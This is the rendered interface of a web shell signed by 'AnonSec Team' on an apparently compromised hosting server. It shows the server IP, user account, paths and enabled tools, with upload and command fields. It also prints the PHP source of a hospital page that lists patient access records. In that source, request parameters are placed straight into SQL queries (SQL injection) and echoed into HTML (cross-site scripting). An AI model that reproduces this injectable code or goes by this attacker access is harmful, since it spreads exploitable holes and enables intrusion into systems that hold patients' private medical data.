Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.145.103.154
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/Without_Patient_Permission.php
<?php
session_start();
require_once("../LoginManager.php");
require_once("../DBManager.php");
include("workdeskmenu.php");
include("header.php");
?>
  <style>

 
 
 .p{
     color: black;
          font-weight: 900;
 }
/* Automatic Serial Number Row */
.css-serial {
     font-weight: 900;
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
<!DOCTYPE html>
<html lang="en">
  <head>
   <link rel="stylesheet" href="select2.min.css" />
      <style>

 
/* Automatic Serial Number Row */
.css-serial {
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

    <title>Record Access Without Patient Permission</title>
 
  <body>
      
           
          
  </head>
<script>

function myFunction() {
  var checkBox = document.getElementById("myCheck");
  var text = document.getElementById("text");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
function myFunction2() {
  var checkBox = document.getElementById("myCheck2");
  var text = document.getElementById("text2");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
</script>
  </head>

    <div id="container">
        <div class="checkbox"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <input name="Addiction" id="myCheck" class="shopitem-list" onclick="myFunction()" type="checkbox"><span>Single Date </span>
</div>
<div id="text" style="display:none" >
          <form action="Without_Patient_Permission.php" method='GET'>
              <input type="date" onchange="dateload(this.value)">
                        </div>
                        
                         <div class="checkbox"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <input name="Addiction" id="myCheck2" onclick="myFunction2()" class="shopitem-list" type="checkbox"><span>Custom Date </span>
</div>


 
<div id="text2" style="display:none" >
          
                
                 <form action="" method="GET">
                            <div class="row">
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label>From Date</label>
                                        <input type="date" name="from_date" value="<?php if(isset($_GET['from_date'])){ echo $_GET['from_date']; } ?>" class="form-control">
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label>To Date</label>
                                        <input type="date" name="to_date" value="<?php if(isset($_GET['to_date'])){ echo $_GET['to_date']; } ?>" class="form-control">
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                    <br>
                                      <button type="submit" class="btn btn-primary">Apply</button>
                                    </div>
                                </div>
                            </div>
                        </form>
                        
                        </div>
                        
                        
                               
                                 <button style='height:40px;width:200px' onclick="location.href='Without_Patient_Permission.php'" type="button"> <span style="color:white">    Reset</span></button>
                            
                                 </section>
                                 
                                           <?php
                                 include'hsprofileworkdesk.php';
                                 ?>
                                 
                              
                    <h3 align='center'> Record Access Without Patient Permission </h3>                  
                                    <div id='divdr'>
                                        
                                            <table class="order-table table-borderd css-serial">
                 
   
   
   </table>
   
   
     <?php 
		session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql19 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql19 = mysqli_query($con,$sql19);
	while($re12 = mysqli_fetch_array($qsql19))
		{
		     if(isset($_GET['from_date']) && isset($_GET['to_date']))
                                {
                                    $from_date = $_GET['from_date'];
                                    $to_date = $_GET['to_date'];
}
  $sql78="SELECT count('accessid') FROM accesspatient  WHERE adminid='$re12[entered_by]' AND created_at BETWEEN '$from_date' AND '$to_date'";
$result45=mysqli_query($con,$sql78); 
$row1=mysqli_fetch_array($result45);
echo"<h3 align='right'><b>From Date</b> $_GET[from_date] -<b>TO</b> $_GET[to_date]</h3>";
if($row1[0]=='0')
{

    echo"<h1 align='center'>
  No Record Found</h1>";
}

echo "<h3><b>Total Patient :</b> $row1[0]</h3>";
mysqli_close($con);
}
?>


 <table class="order-table table-borderd css-serial">
      <tr>
                      <th>SR No</th>
                <th>Patient <br> Details</th>
                <th>Towords </th>
                  <th>Note  </th>
                   <th>  <section class="content-header">Action </section></th>
               </tr>
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
$today = date('Y-m-d');
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		    		       if(isset($_GET['from_date']) && isset($_GET['to_date']))
                                {
                                    $from_date = $_GET['from_date'];
                                    $to_date = $_GET['to_date'];
}
		$sql2 ="SELECT * FROM accesspatient  WHERE adminid='$re[entered_by]' AND created_at BETWEEN '$from_date' AND '$to_date'";
		$qsql2 = mysqli_query($con,$sql2);
		while($rs = mysqli_fetch_array($qsql2))
		{
	  	$sql9 ="SELECT * FROM site_users WHERE userno='$rs[entered_by]'";
		$qsql9 = mysqli_query($con,$sql9);
		while($re9 = mysqli_fetch_array($qsql9))
		{
	    $sql4 ="SELECT * FROM patient WHERE patientid='$rs[patientid]'";
		$qsql4 = mysqli_query($con,$sql4);
		while($rp = mysqli_fetch_array($qsql4))
		{
        echo " 
	                <tr>
               <td>&nbsp;&nbsp;</td>
                 <td><b>UHID :</B>$rp[patientid]
                 <br>
            <b>Patient Name </b><br>$rp[patientname]
            <br> <b>Age /Sex &nbsp; </b>$rp[dob] $rp[gendor] </td>
            <td> 	$rs[typevisit]-$rs[casetype]<br> <b>Created At</b>	$rs[created_at]<br>
               <b>Created By</b> $re9[name]</td>
               <td>"; $sql41 ="SELECT * FROM carrectivepreventive WHERE id='$rs[accessid]' AND toward='accesspatient'";
		$qsql41 = mysqli_query($con,$sql41);
		while($rp1 = mysqli_fetch_array($qsql41))
		{
		    echo"$rp1[note]
		    ";
		    }echo"</td>
                                      						<td> <section class='content-header'><div class='btn-group'>
	  <button type='button' class='btn btn-default dropdown-toggle' data-toggle='dropdown' aria-haspopup='true' aria-expanded='false'>
	    Action <span class='caret'></span>
	  </button>
	  <ul class='dropdown-menu'>
	 	      <li><a href='carrectivepreventive.php?toward=accesspatient&id=$rs[accessid]'> <i class='glyphicon glyphicon-save'></i> Note</a></li>
	  </ul>
	</div></section></td>
          </tr>                   
         
          ";


}
		    
		}
		    
		}

	    
}

?>     </div>
        </table>
   
	<script src="http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
</head>
<body>

    <script type="text/javascript">
	    $('.shopitem-list').on('change', function() {
		    $('.shopitem-list').not(this).prop('checked', false);  
		});
    </script>
</body>
</html>
    
 <script>
 function dateload(dateid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddaceess.php?dateid="+dateid,true);
        xmlhttp.send();
}
 
</script>
     <script src="https://code.jquery.com/jquery-3.5.1.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta1/dist/js/bootstrap.bundle.min.js"></script>
<script>
 $(document).ready(function () {
      $('select12').selectize({
          sortField: 'text'
      });
  });
  </script>
  

Anon7 - 2022
AnonSec Team